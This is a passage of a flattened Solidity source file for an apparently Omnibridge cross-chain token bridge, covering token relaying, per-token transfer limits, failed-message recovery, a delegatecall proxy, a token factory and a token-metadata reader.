addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
/**
* @dev Stores the mediator contract address from the other network.
* @param _mediatorContract the address of the mediator contract.
*/
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
/**
* @dev Tells the id of the message originated on the other network.
* @return the id of the message originated on the other network.
*/
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
/**
* @dev Tells the maximum gas limit that a message can use on its execution by the AMB bridge on the other network.
* @return the maximum gas limit value.
*/
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
// File: contracts/upgradeable_contracts/components/common/TokensRelayer.sol
pragma solidity 0.7.5;
/**
* @title TokensRelayer
* @dev Functionality for bridging multiple tokens to the other side of the bridge.
*/
abstract contract TokensRelayer is BasicAMBMediator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC677;
/**
* @dev ERC677 transfer callback function.
* @param _from address of tokens sender.
* @param _value amount of transferred tokens.
* @param _data additional transfer data, can be used for passing alternative receiver address.
*/
function onTokenTransfer(
address _from,
uint256 _value,
bytes memory _data
) external returns (bool) {
if (!lock()) {
bytes memory data = new bytes(0);
address receiver = _from;
if (_data.length >= 20) {
receiver = Bytes.bytesToAddress(_data);
if (_data.length > 20) {
assembly {
let size := sub(mload(_data), 20)
data := add(_data, 20)
mstore(data, size)
}
}
}
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, receiver, _value, data);
}
return true;
}
/**
* @dev Initiate the bridge operation for some amount of tokens from msg.sender.
* The user should first call Approve method of the ERC677 token.
* @param token bridged token contract address.
* @param _receiver address that will receive the native tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
*/
function relayTokens(
IERC677 token,
address _receiver,
uint256 _value
) external {
_relayTokens(token, _receiver, _value, new bytes(0));
}
/**
* @dev Initiate the bridge operation for some amount of tokens from msg.sender to msg.sender on the other side.
* The user should first call Approve method of the ERC677 token.
* @param token bridged token contract address.
* @param _value amount of tokens to be transferred to the other network.
*/
function relayTokens(IERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value, new bytes(0));
}
/**
* @dev Initiate the bridge operation for some amount of tokens from msg.sender.
* The user should first call Approve method of the ERC677 token.
* @param token bridged token contract address.
* @param _receiver address that will receive the native tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
* @param _data additional transfer data to be used on the other side.
*/
function relayTokensAndCall(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) external {
_relayTokens(token, _receiver, _value, _data);
}
/**
* @dev Validates that the token amount is inside the limits, calls transferFrom to transfer the tokens to the contract
* and invokes the method to burn/lock the tokens and unlock/mint the tokens on the other network.
* The user should first call Approve method of the ERC677 token.
* @param token bridge token contract address.
* @param _receiver address that will receive the native tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
* @param _data additional transfer data to be used on the other side.
*/
function _relayTokens(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) internal {
// This lock is to prevent calling passMessage twice if a ERC677 token is used.
// When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract
// which will call passMessage.
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.safeTransferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(address(token), msg.sender, _receiver, balanceDiff, _data);
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual;
}
// File: contracts/upgradeable_contracts/VersionableBridge.sol
pragma solidity 0.7.5;
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
// File: contracts/upgradeable_contracts/components/common/OmnibridgeInfo.sol
pragma solidity 0.7.5;
/**
* @title OmnibridgeInfo
* @dev Functionality for versioning Omnibridge mediator.
*/
contract OmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
/**
* @dev Tells the bridge interface version that this contract supports.
* @return major value of the version
* @return minor value of the version
* @return patch value of the version
*/
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
// The patch version is increased to reflect changes in
// the method minPerTx()
return (3, 0, 2);
}
/**
* @dev Tells the bridge mode that this contract supports.
* @return _data 4 bytes representing the bridge mode
*/
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xb1516c26; // bytes4(keccak256(abi.encodePacked("multi-erc-to-erc-amb")))
}
}
// File: contracts/upgradeable_contracts/components/common/TokensBridgeLimits.sol
pragma solidity 0.7.5;
/**
* @title TokensBridgeLimits
* @dev Functionality for keeping track of bridging limits for multiple tokens.
*/
contract TokensBridgeLimits is EternalStorage, Ownable {
using SafeMath for uint256;
// token == 0x00..00 represents default limits (assuming decimals == 18) for all newly created tokens
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
/**
* @dev Checks if specified token was already bridged at least once.
* @param _token address of the token contract.
* @return true, if token address is address(0) or token was already bridged.
*/
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
/**
* @dev Retrieves the total spent amount for particular token during specific day.
* @param _token address of the token contract.
* @param _day day number for which spent amount if requested.
* @return amount of tokens sent through the bridge to the other side.
*/
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))];
}
/**
* @dev Retrieves the total executed amount for particular token during specific day.
* @param _token address of the token contract.
* @param _day day number for which spent amount if requested.
* @return amount of tokens received from the bridge from the other side.
*/
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
/**
* @dev Retrieves current daily limit for a particular token contract.
* @param _token address of the token contract.
* @return daily limit on tokens that can be sent through the bridge per day.
*/
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
/**
* @dev Retrieves current execution daily limit for a particular token contract.
* @param _token address of the token contract.
* @return daily limit on tokens that can be received from the bridge on the other side per day.
*/
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
/**
* @dev Retrieves current maximum amount of tokens per one transfer for a particular token contract.
* @param _token address of the token contract.
* @return maximum amount on tokens that can be sent through the bridge in one transfer.
*/
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
/**
* @dev Retrieves current maximum execution amount of tokens per one transfer for a particular token contract.
* @param _token address of the token contract.
* @return maximum amount on tokens that can received from the bridge on the other side in one transaction.
*/
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
/**
* @dev Retrieves current minimum amount of tokens per one transfer for a particular token contract.
* @param _token address of the token contract.
* @return minimum amount on tokens that can be sent through the bridge in one transfer.
*/
function minPerTx(address _token) public view returns (uint256) {
uint256 limit = uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
if (_token == address(0)) {
return limit;
}
// A workaround to avoid setting 1 for all registered tokens
return limit > 0 ? 1 : 0;
}
/**
* @dev Checks that bridged amount of tokens conforms to the configured limits.
* @param _token address of the token contract.
* @param _amount amount of bridge tokens.
* @return true, if specified amount can be bridged.
*/
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
/**
* @dev Checks that bridged amount of tokens conforms to the configured execution limits.
* @param _token address of the token contract.
* @param _amount amount of bridge tokens.
* @return true, if specified amount can be processed and executed.
*/
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
/**
* @dev Returns current day number.
* @return day number.
*/
function getCurrentDay() public view returns (uint256) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp / 1 days;
}
/**
* @dev Updates daily limit for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the efault limit.
* @param _dailyLimit daily allowed amount of bridged tokens, should be greater than maxPerTx.
* 0 value is also allowed, will stop the bridge operations in outgoing direction.
*/
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
/**
* @dev Updates execution daily limit for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _dailyLimit daily allowed amount of executed tokens, should be greater than executionMaxPerTx.
* 0 value is also allowed, will stop the bridge operations in incoming direction.
*/
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
/**
* @dev Updates execution maximum per transaction for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _maxPerTx maximum amount of executed tokens per one transaction, should be less than executionDailyLimit.
* 0 value is also allowed, will stop the bridge operations in incoming direction.
*/
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
/**
* @dev Updates maximum per transaction for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _maxPerTx maximum amount of tokens per one transaction, should be less than dailyLimit, greater than minPerTx.
* 0 value is also allowed, will stop the bridge operations in outgoing direction.
*/
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
/**
* @dev Updates minimum per transaction for the particular token. Only owner can call this method.
* @param _token address of the token contract, or address(0) for configuring the default limit.
* @param _minPerTx minimum amount of tokens per one transaction, should be less than maxPerTx and dailyLimit.
*/
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
/**
* @dev Retrieves maximum available bridge amount per one transaction taking into account maxPerTx() and dailyLimit() parameters.
* @param _token address of the token contract, or address(0) for the default limit.
* @return minimum of maxPerTx parameter and remaining daily quota.
*/
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
/**
* @dev Internal function for adding spent amount for some token.
* @param _token address of the token contract.
* @param _day day number, when tokens are processed.
* @param _value amount of bridge tokens.
*/
function addTotalSpentPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))] = totalSpentPerDay(_token, _day).add(
_value
);
}
/**
* @dev Internal function for adding executed amount for some token.
* @param _token address of the token contract.
* @param _day day number, when tokens are processed.
* @param _value amount of bridge tokens.
*/
function addTotalExecutedPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
/**
* @dev Internal function for initializing limits for some token.
* @param _token address of the token contract.
* @param _limits [ 0 = dailyLimit, 1 = maxPerTx, 2 = minPerTx ].
*/
function _setLimits(address _token, uint256[3] memory _limits) internal {
require(
_limits[2] > 0 && // minPerTx > 0
_limits[1] > _limits[2] && // maxPerTx > minPerTx
_limits[0] > _limits[1] // dailyLimit > maxPerTx
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
/**
* @dev Internal function for initializing execution limits for some token.
* @param _token address of the token contract.
* @param _limits [ 0 = executionDailyLimit, 1 = executionMaxPerTx ].
*/
function _setExecutionLimits(address _token, uint256[2] memory _limits) internal {
require(_limits[1] < _limits[0]); // foreignMaxPerTx < foreignDailyLimit
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
/**
* @dev Internal function for initializing limits for some token relative to its decimals parameter.
* @param _token address of the token contract.
* @param _decimals token decimals parameter.
*/
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
// such situation can happen when calculated limits relative to the token decimals are too low
// e.g. minPerTx(address(0)) == 10 ** 14, _decimals == 3. _minPerTx happens to be 0, which is not allowed.
// in this case, limits are raised to the default values
if (_minPerTx == 0) {
// Numbers 1, 100, 10000 are chosen in a semi-random way,
// so that any token with small decimals can still be bridged in some amounts.
// It is possible to override limits for the particular token later if needed.
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
// File: contracts/upgradeable_contracts/components/common/BridgeOperationsStorage.sol
pragma solidity 0.7.5;
/**
* @title BridgeOperationsStorage
* @dev Functionality for storing processed bridged operations.
*/
abstract contract BridgeOperationsStorage is EternalStorage {
/**
* @dev Stores the bridged token of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _token bridged token address.
*/
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
/**
* @dev Tells the bridged token address of a message sent to the AMB bridge.
* @return address of a token contract.
*/
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
/**
* @dev Stores the value of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _value amount of tokens bridged.
*/
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
/**
* @dev Tells the amount of tokens of a message sent to the AMB bridge.
* @return value representing amount of tokens.
*/
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
/**
* @dev Stores the receiver of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _recipient receiver of the tokens bridged.
*/
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
/**
* @dev Tells the receiver of a message sent to the AMB bridge.
* @return address of the receiver.
*/
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
// File: contracts/upgradeable_contracts/components/common/FailedMessagesProcessor.sol
pragma solidity 0.7.5;
/**
* @title FailedMessagesProcessor
* @dev Functionality for fixing failed bridging operations.
*/
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
/**
* @dev Method to be called when a bridged message execution failed. It will generate a new message requesting to
* fix/roll back the transferred assets on the other network.
* @param _messageId id of the message which execution failed.
*/
function requestFailedMessageFix(bytes32 _messageId) external {
IAMB bridge = bridgeContract();
require(!bridge.messageCallStatus(_messageId));
require(bridge.failedMessageReceiver(_messageId) == address(this));
require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
_passMessage(data, true);
}
/**
* @dev Handles the request to fix transferred assets which bridged message execution failed on the other network.
* It uses the information stored by passMessage method when the assets were initially transferred
* @param _messageId id of the message which execution failed on the other network.
*/
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
/**
* @dev Tells if a message sent to the AMB bridge has been fixed.
* @return bool indicating the status of the message.
*/
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
/**
* @dev Sets that the message sent to the AMB bridge has been fixed.
* @param _messageId of the message sent to the bridge.
*/
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
// File: contracts/upgradeability/Proxy.sol
pragma solidity 0.7.5;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
abstract contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view virtual returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
fallback() external payable {
// solhint-disable-previous-line no-complex-fallback
address _impl = implementation();
require(_impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize())
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
/*
*/
/*
ptr current points to the value stored at 0x40,
because we assigned it like ptr := mload(0x40).
Because we use 0x40 as a free memory pointer,
we want to make sure that the next time we want to allocate memory,
we aren't overwriting anything important.
So, by adding ptr and returndatasize,
we get a memory location beyond the end of the data we will be copying to ptr.
We place this in at 0x40, and any reads from 0x40 will now read from free memory
*/
mstore(0x40, add(ptr, returndatasize()))
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, returndatasize())
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
// File: contracts/upgradeable_contracts/modules/factory/TokenProxy.sol
pragma solidity 0.7.5;
interface IPermittableTokenVersion {
function version() external pure returns (string memory);
}
/**
* @title TokenProxy
* @dev Helps to reduces the size of the deployed bytecode for automatically created tokens, by using a proxy contract.
*/
contract TokenProxy is Proxy {
// storage layout is copied from PermittableToken.sol
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
// string public constant version = "1";
bytes32 internal DOMAIN_SEPARATOR;
// bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
/**
* @dev Creates a non-upgradeable token proxy for PermitableToken.sol, initializes its eternalStorage.
* @param _tokenImage address of the token image used for mirroring all functions.
* @param _name token name.
* @param _symbol token symbol.
* @param _decimals token decimals.
* @param _chainId chain id for current network.
* @param _owner address of the owner for this contract.
*/
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _chainId,
address _owner
) {
string memory version = IPermittableTokenVersion(_tokenImage).version();
assembly {
// EIP 1967
// bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = _owner; // _owner == HomeOmnibridge/ForeignOmnibridge mediator
bridgeContractAddr = _owner;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
/**
* @dev Retrieves the implementation contract address, mirrored token image.
* @return impl token image address.
*/
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
}
// File: contracts/upgradeable_contracts/modules/OwnableModule.sol
pragma solidity 0.7.5;
/**
* @title OwnableModule
* @dev Common functionality for multi-token extension non-upgradeable module.
*/
contract OwnableModule {
address public owner;
/**
* @dev Initializes this contract.
* @param _owner address of the owner that is allowed to perform additional actions on the particular module.
*/
constructor(address _owner) {
owner = _owner;
}
/**
* @dev Throws if sender is not the owner of this contract.
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @dev Changes the owner of this contract.
* @param _newOwner address of the new owner.
*/
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
}
// File: contracts/upgradeable_contracts/modules/factory/TokenFactory.sol
pragma solidity 0.7.5;
/**
* @title TokenFactory
* @dev Factory contract for deployment of new TokenProxy contracts.
*/
contract TokenFactory is OwnableModule {
address public tokenImage;
/**
* @dev Initializes this contract
* @param _owner of this factory contract.
* @param _tokenImage address of the token image contract that should be used for creation of new tokens.
*/
constructor(address _owner, address _tokenImage) OwnableModule(_owner) {
tokenImage = _tokenImage;
}
/**
* @dev Updates the address of the used token image contract.
* Only owner can call this method.
* @param _tokenImage address of the new token image used for further deployments.
*/
function setTokenImage(address _tokenImage) external onlyOwner {
require(Address.isContract(_tokenImage));
tokenImage = _tokenImage;
}
/**
* @dev Deploys a new TokenProxy contract, using saved token image contract as a template.
* @param _name deployed token name.
* @param _symbol deployed token symbol.
* @param _decimals deployed token decimals.
* @param _chainId chain id of the current environment.
* @return address of a newly created contract.
*/
function deploy(
string calldata _name,
string calldata _symbol,
uint8 _decimals,
uint256 _chainId
) external returns (address) {
return address(new TokenProxy(tokenImage, _name, _symbol, _decimals, _chainId, msg.sender));
}
}
// File: contracts/upgradeable_contracts/modules/factory/TokenFactoryConnector.sol
pragma solidity 0.7.5;
/**
* @title TokenFactoryConnector
* @dev Connectivity functionality for working with TokenFactory contract.
*/
contract TokenFactoryConnector is Ownable {
bytes32 internal constant TOKEN_FACTORY_CONTRACT =
0x269c5905f777ee6391c7a361d17039a7d62f52ba9fffeb98c5ade342705731a3; // keccak256(abi.encodePacked("tokenFactoryContract"))
/**
* @dev Updates an address of the used TokenFactory contract used for creating new tokens.
* @param _tokenFactory address of TokenFactory contract.
*/
function setTokenFactory(address _tokenFactory) external onlyOwner {
_setTokenFactory(_tokenFactory);
}
/**
* @dev Retrieves an address of the token factory contract.
* @return address of the TokenFactory contract.
*/
function tokenFactory() public view returns (TokenFactory) {
return TokenFactory(addressStorage[TOKEN_FACTORY_CONTRACT]);
}
/**
* @dev Internal function for updating an address of the token factory contract.
* @param _tokenFactory address of the deployed TokenFactory contract.
*/
function _setTokenFactory(address _tokenFactory) internal {
require(Address.isContract(_tokenFactory));
addressStorage[TOKEN_FACTORY_CONTRACT] = _tokenFactory;
}
}
// File: contracts/interfaces/IBurnableMintableERC677Token.sol
pragma solidity 0.7.5;
interface IBurnableMintableERC677Token is IERC677 {
function mint(address _to, uint256 _amount) external returns (bool);
function burn(uint256 _value) external;
function claimTokens(address _token, address _to) external;
}
// File: contracts/interfaces/IERC20Metadata.sol
pragma solidity 0.7.5;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: contracts/interfaces/IERC20Receiver.sol
pragma solidity 0.7.5;
interface IERC20Receiver {
function onTokenBridged(
address token,
uint256 value,
bytes calldata data
) external;
}
// File: contracts/libraries/TokenReader.sol
pragma solidity 0.7.5;
// solhint-disable
interface ITokenDetails {
function name() external view;
function NAME() external view;
function symbol() external view;
function SYMBOL() external view;
function decimals() external view;
function DECIMALS() external view;
}
// solhint-enable
/**
* @title TokenReader
* @dev Helper methods for reading name/symbol/decimals parameters from ERC20 token contracts.
*/
library TokenReader {
/**
* @dev Reads the name property of the provided token.
* Either name() or NAME() method is used.
* Both, string and bytes32 types are supported.
* @param _token address of the token contract.
* @return token name as a string or an empty string if none of the methods succeeded.
*/
function readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.name.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.NAME.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
/**
* @dev Reads the symbol property of the provided token.
* Either symbol() or SYMBOL() method is used.
* Both, string and bytes32 types are supported.
* @param _token address of the token contract.
* @return token symbol as a string or an empty string if none of the methods succeeded.
*/
function readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.symbol.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.SYMBOL.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
/**
* @dev Reads the decimals property of the provided token.
* Either decimals() or DECIMALS() method is used.
* @param _token address of the token contract.
* @return token decimals or 0 if none of the methods succeeded.
*/
function readDecimals(address _token) internal view returns (uint8) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.decimals.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.DECIMALS.selector));
if (!status) {
return 0;
}
}
return abi.decode(data, (uint8));
}
/**
* @dev Internal function for converting returned value of name()/symbol() from bytes32/string to string.
* @param returnData data returned by the token contract.
* @return string with value obtained from returnData.
*/
function _convertToString(bytes memory returnData) private pure returns (string memory) {
if (returnData.length > 32) {
return abi.decode(returnData, (string));
} else if (returnData.length == 32) {
bytes32 data = abi.decode(returnData, (bytes32));
string memory res = new string(32);
assembly {
let len := 0
mstore(add(res, 32), data) // save value in result string
// solhint-disable
for { } gt(data, 0) { len := add(len, 1) } { // until string is empty
data := shl(8, data) // shift left by one symbol
}
// solhint-enable
mstore(res, len) // save result string length
}
return res;
} else {
return "";
}
}
}
// File: contracts/libraries/SafeMint.sol
pragma solidity 0.7.5;
/**
* @title SafeMint
